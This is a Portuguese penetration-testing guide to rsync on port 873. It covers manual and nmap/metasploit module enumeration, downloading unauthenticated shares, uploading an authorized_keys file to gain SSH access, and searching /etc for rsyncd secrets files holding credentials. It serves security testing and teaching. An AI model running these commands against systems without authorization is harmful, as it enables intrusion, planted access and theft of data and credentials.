4.1 KiB
Informação Básica
rsync é um utilitário para transferir e sincronizar arquivos de forma eficiente entre um computador e um disco rígido externo e entre computadores em rede, comparando os horários de modificação e os tamanhos dos arquivos. É comumente encontrado em sistemas operacionais semelhantes ao Unix. O algoritmo rsync é um tipo de codificação delta e é usado para minimizar o uso da rede. O Zlib pode ser usado para compressão adicional de dados e o SSH ou o stunnel podem ser usados para segurança.
De wikipedia.
Porta padrão: 873
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
Enumeração
Banner e Comunicação Manual
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
Enumerar pastas compartilhadas
Um módulo rsync é essencialmente um compartilhamento de diretório. Esses módulos podem ser protegidos por senha opcionalmente. Esta opção lista os módulos disponíveis e, opcionalmente, determina se o módulo requer uma senha para acessar:
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
#Example using IPv6 and a different port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
Observe que pode ser configurado um nome compartilhado para não ser listado. Então pode haver algo oculto.
Observe que pode haver alguns nomes compartilhados sendo listados onde você precisa de algumas (diferentes) credenciais para acessar. Então, nem sempre todos os nomes listados vão ser acessíveis e você vai perceber isso se receber uma mensagem de "Acesso Negado" ao tentar acessar alguns deles.
Força bruta
Rsync Manual
Depois de ter a lista de módulos, você tem algumas opções diferentes dependendo das ações que deseja realizar e se a autenticação é necessária. Se a autenticação não for necessária, você pode listar uma pasta compartilhada:
rsync -av --list-only rsync://192.168.0.123/shared_name
E copie todos os arquivos para sua máquina local através do seguinte comando:
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
Isso transfere recursivamente todos os arquivos do diretório <shared_name>
na máquina <IP>
para o diretório ./rsync_shared
na máquina local. Os arquivos são transferidos no modo "arquivo", que garante que links simbólicos, dispositivos, atributos, permissões, propriedades, etc. sejam preservados na transferência.
Se você tiver credenciais, pode listar/fazer download de um nome compartilhado usando (a senha será solicitada):
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
Também é possível fazer upload de algum conteúdo utilizando o rsync (por exemplo, neste caso podemos fazer upload de um arquivo authorized_keys para obter acesso à máquina):
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
POST
Encontre o arquivo de configuração do rsyncd:
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
Dentro do arquivo de configuração, às vezes você pode encontrar o parâmetro secrets file = /path/to/file e este arquivo pode conter nomes de usuário e senhas permitidos para autenticar no rsyncd.